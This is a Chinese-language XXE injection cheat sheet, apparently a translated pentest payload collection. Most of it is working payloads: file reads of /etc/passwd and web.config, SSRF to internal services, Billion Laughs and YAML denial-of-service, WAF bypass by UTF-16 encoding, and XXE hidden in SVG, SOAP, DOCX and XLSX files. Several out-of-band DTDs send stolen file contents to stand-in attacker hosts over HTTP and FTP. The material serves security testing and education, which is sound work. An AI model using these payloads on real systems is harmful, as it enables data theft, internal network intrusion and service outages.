跳转至

XML 外部实体注入 (XML External Entity)

XML 外部实体注入 (XXE) 是一种针对解析 XML 输入且允许外部实体的应用程序生效的攻击技术。XML 实体可被用于指示 XML 解析器获取服务器上的特定内容。

摘要 (Summary)

工具 (Tools)

  • staaldraad/xxeftp - 支持 FTP 协议的迷你 XXE 载荷 Web 服务器。
  • lc/230-OOB - 用于通过 FTP 检索文件内容并生成载荷的带外 (OOB) XXE 服务器。
  • enjoiz/XXEinjector - 使用直接或各种带外方法自动利用 XXE 漏洞的工具。
  • BuffaloWill/oxml_xxe - 在不同文件类型(DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)中嵌入 XXE/XML 载荷的工具。
  • whitel1st/docem - 在 docx, odt, pptx 等文件中嵌入 XXE 和 XSS 载荷的工具。
  • bytehope/wwe - 用于演示在仅设置 LIBXML_DTDLOADLIBXML_DTDATTR 标志的 PHP 环境中执行 XXE 的 PoC 工具。

漏洞检测 (Detect The Vulnerability)

内部实体 (Internal Entity):如果实体在 DTD 内部声明,则称为内部实体。 语法:<!ENTITY 实体名称 "实体值">

外部实体 (External Entity):如果实体在 DTD 外部声明,则称为外部实体。通过 SYSTEM 关键字识别。 语法:<!ENTITY 实体名称 SYSTEM "实体值">

基础实体测试:当 XML 解析器解析外部实体时,结果应在 firstName 中包含 "John",在 lastName 中包含 "Doe"。实体定义在 DOCTYPE 元素内部。

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

向服务器发送 XML 载荷时,在请求中设置 Content-Type: application/xml 可能会有所帮助。

XML 中不同类型的实体如下:

类型 前缀 使用范围
通用实体 (General) &名称; XML 文档内容内部
参数实体 (Parameter) %名称; 仅在 DTD 内部

利用 XXE 检索文件 (Exploiting XXE to Retrieve Files)

经典 XXE

尝试显示 /etc/passwd 文件的内容。

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

⚠ SYSTEMPUBLIC 几乎是同义词。

<!ENTITY % xxe PUBLIC "随机文本" "URL地址">
<!ENTITY xxe PUBLIC "任意文本" "URL地址">

基于 Base64 编码的经典 XXE

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE 内部使用 PHP 封装器

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

XInclude 攻击

当你无法修改 DOCTYPE 元素时,使用 XInclude 来定位文件:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

利用 XXE 执行 SSRF 攻击 (Exploiting XXE to Perform SSRF Attacks)

XXE 可以与 SSRF 漏洞 结合,以攻击网络上的其他服务。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://内部服务IP/secret_pass.txt" >
]>
<foo>&xxe;</foo>

利用 XXE 执行拒绝服务攻击 (Exploiting XXE to Perform a Denial of Service)

⚠:这些攻击可能会使服务或服务器崩溃,请勿在生产环境中使用。

十亿笑话攻击 (Billion Laugh Attack)

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

YAML 攻击

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

参数笑话攻击 (Parameters Laugh Attack)

这是 Billion Laughs 攻击的一种变体,由 Sebastian Pipping 提出,利用了参数实体的延迟解析。

<!DOCTYPE r [
  <!ENTITY % pe_1 "<!---->">
  <!ENTITY % pe_2 "&#37;pe_1;<!---->&#37;pe_1;">
  <!ENTITY % pe_3 "&#37;pe_2;<!---->&#37;pe_2;">
  <!ENTITY % pe_4 "&#37;pe_3;<!---->&#37;pe_3;">
  %pe_4;
]>
<r/>

利用基于报错的 XXE (Exploiting Error Based XXE)

基于报错 - 使用本地 DTD 文件

如果允许基于报错的数据提取,你仍然可以依靠本地 DTD 来执行拼接技巧。以下载荷用于确认错误信息是否包含文件名。

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///不存在的文件/">
    %local_dtd;
]>
<root></root>

Linux 本地 DTD

已存储在 Linux 系统上的 DTD 文件简表;可以使用 locate .dtd 进行列举:

/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtd

文件 /usr/share/xml/fontconfig/fonts.dtd 在第 148 行有一个可注入实体 %constant<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>

最终载荷如下:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///想要触发报错的路径/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>文本内容</message>

Windows 本地 DTD

来自 infosec-au/xxe-windows.md 载荷。

  • 泄露本地文件
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://想要触发报错的路径/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>任意内容</xxx>
  • 泄露 HTTP 响应
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "https://erp.内网域名.com">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://想要触发报错的路径/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>任意内容</xxx>

基于报错 - 使用远程 DTD

用于触发 XXE 的载荷

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://攻击者域名.com/ext.dtd">
    %ext;
]>
<message></message>

ext.dtd 的内容

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///不存在的路径/%file;'>">
%eval;
%error;

ext.dtd 的备选内容

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; leak SYSTEM '%data;:///'>">
%eval;
%leak;

载荷解析:

  1. <!ENTITY % file SYSTEM "file:///etc/passwd"> 该行定义了一个名为 file 的外部实体,指向 /etc/passwd(Unix 系统中包含用户账户信息的敏感文件)。
  2. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///不存在的路径/%file;'>"> 该行定义了一个名为 eval 的实体,其包含另一个实体的定义。内部实体 (error) 指向一个不存在的文件路径,并将 file 实的内容拼接到路径末尾。&#x25;% 的编码形式,用于在实体定义内部引用另一个实体。
  3. %eval; 该行执行 eval 实体,从而定义了 error 实体。
  4. %error; 最后,该行执行 error 实体,尝试访问那个包含 /etc/passwd 内容的不存在路径。由于文件不存在,系统会抛出错误。如果应用程序将错误信息返回给用户并包含文件路径,则 /etc/passwd 的内容将作为报错信息的一部分被泄露,从而暴露敏感信息。

利用盲 XXE 通过带外渠道窃取数据 (Exploiting Blind XXE)

有时页面不会直接输出结果,但你仍然可以通过带外(Out of Band)攻击来提取数据。

基础盲 XXE

测试盲 XXE 最简单的方法是尝试加载一个远程资源,例如 Burp Collaborator 链接。

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://你的_BURP_COLLABORATOR_链接/x"> %ext;
]>
<r></r>
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://你的_BURP_COLLABORATOR_链接'>]>
<root>&test;</root>

/etc/passwd 的内容发送到攻击者控制的域名,可能只能接收到第一行。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "攻击者域名.com/?%xxe;">
]
>
<foo>&callhome;</foo>

带外 XXE (Out of Band XXE)

Yunusov, 2013

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://攻击者服务器.com/parameterEntity_oob.dtd">
<data>&send;</data>

存储在 http://攻击者服务器.com/parameterEntity_oob.dtd 的文件内容:
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者服务器.com/?%file;'>">
%all;

配合 DTD 和 PHP 过滤器的 XXE OOB

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

存储在 http://127.0.0.1/dtd.xml 的文件内容:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

针对 Apache Karaf 的 XXE OOB

CVE-2018-11788 影响版本:

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://你的_CANARY_TOKEN_链接"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>

将该 XML 文件发送到 deploy 文件夹中。参考:brianwrf/CVE-2018-11788

WAF 绕过 (WAF Bypasses)

通过字符编码绕过

XML 解析器使用 4 种方法来检测编码:

  • HTTP Content Type:Content-Type: text/xml; charset=utf-8
  • 读取字节顺序标记 (BOM)
  • 读取文档的首个符号
    • UTF-8 (3C 3F 78 6D)
    • UTF-16BE (00 3C 00 3F)
    • UTF-16LE (3C 00 3F 00)
  • XML 声明:<?xml version="1.0" encoding="UTF-8"?>
编码 BOM 示例
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.

示例:我们可以使用 iconv 将载荷转换为 UTF-16 以绕过部分 WAF:

cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

JSON 端点上的 XXE

在 HTTP 请求中尝试将 Content-TypeJSON 切换为 XML

Content Type 项目
application/json {"search":"name","value":"test"}
application/xml <?xml version="1.0" encoding="UTF-8" ?><root><search>name</search><value>data</value></root>
  • XML 文档必须包含一个根元素 (<root>),它是所有其他元素的父元素。
  • 数据必须也转换为 XML,否则服务器将报错。
{
  "errors":{
    "errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."
  }
}

参考:NetSPI/Content-Type Converter (Burp 插件)

特殊格式文件中的 XXE (XXE in Exotic Files)

SVG 内部的 XXE

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>

经典载荷

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

通过 SVG 光栅化实现带外利用 (OOB)

xxe.svg:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://攻击者服务器.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">通过 SVG 光栅化实现 XXE</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
            <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

xxe.xml:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://攻击者服务器.org:2121/%data;'>">

SOAP 内部的 XXE

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://攻击者IP:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

DOCX 文件内部的 XXE

Open XML 文件的格式(在任何 .xml 文件中注入载荷):

  • /_rels/.rels
  • [Content_Types].xml
  • 默认主文档部分
    • /word/document.xml
    • /ppt/presentation.xml
    • /xl/workbook.xml

然后更新文件:zip -u xxe.docx [Content_Types].xml 工具:https://github.com/BuffaloWill/oxml_xxe

XLSX 文件内部的 XXE

xlsx 的结构:

$ 7z l xxe.xlsx
[...]
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00 .....          578          223  _rels/.rels
2021-10-17 15:19:00 .....          887          508  xl/workbook.xml
2021-10-17 15:19:00 .....         4451          643  xl/styles.xml
2021-10-17 15:19:00 .....         2042          899  xl/worksheets/sheet1.xml
2021-10-17 15:19:00 .....          549          210  xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 .....          201          160  xl/sharedStrings.xml
2021-10-17 15:19:00 .....          731          352  docProps/core.xml
2021-10-17 15:19:00 .....          410          246  docProps/app.xml
2021-10-17 15:19:00 .....         1367          345  [Content_Types].xml
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00              11216         3586  9 个文件

解压 Excel 文件:7z x -oXXE xxe.xlsx 重构 Excel 文件:

cd XXE
zip -r -u ../xxe.xlsx *

注意:请使用 zip -u 而非 7z u,因为后者的压缩方式可能不同,导致许多 Excel 解析库无法将其识别为有效的 Excel 文件。正确的文件魔法字节 (file XXE.xlsx) 会显示为 Microsoft Excel 2007+

xl/workbook.xml 中添加盲 XXE 载荷:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://攻击者IP:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">

或者在 xl/sharedStrings.xml 中添加载荷:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://攻击者IP:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>测试数据</t></si></sst>

使用远程 DTD 可以避免每次想要检索不同文件时都需要重构文档,只需修改 DTD 即可。此外,使用 FTP 而非 HTTP 可以检索体积更大的文件。

xxe.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://攻击者IP:2121/%d;'>">

使用 staaldraad/xxeserv 提供 DTD 并接收 FTP 数据:

xxeserv -o files.log -p 2121 -w -wd public -wp 8000

DTD 文件内部的 XXE

绝大多数详述的 XXE 载荷都需要控制 DTD 或 DOCTYPE 代码块以及 xml 文件。在极端罕见的情况下,如果你只能控制 DTD 文件(例如中间人攻击 MITM),而无法修改 xml 文件,则可以使用此载荷尝试利用 XXE:

<!-- 将敏感文件的内容加载到变量中 -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- 使用该变量构造一个带外 HTTP GET 请求,文件内容包含在 URL 中 -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://你的_恶意主机.com/x=%payload;">'>
%param1;
%external;

实验环境 (Labs)

参考资料 (References)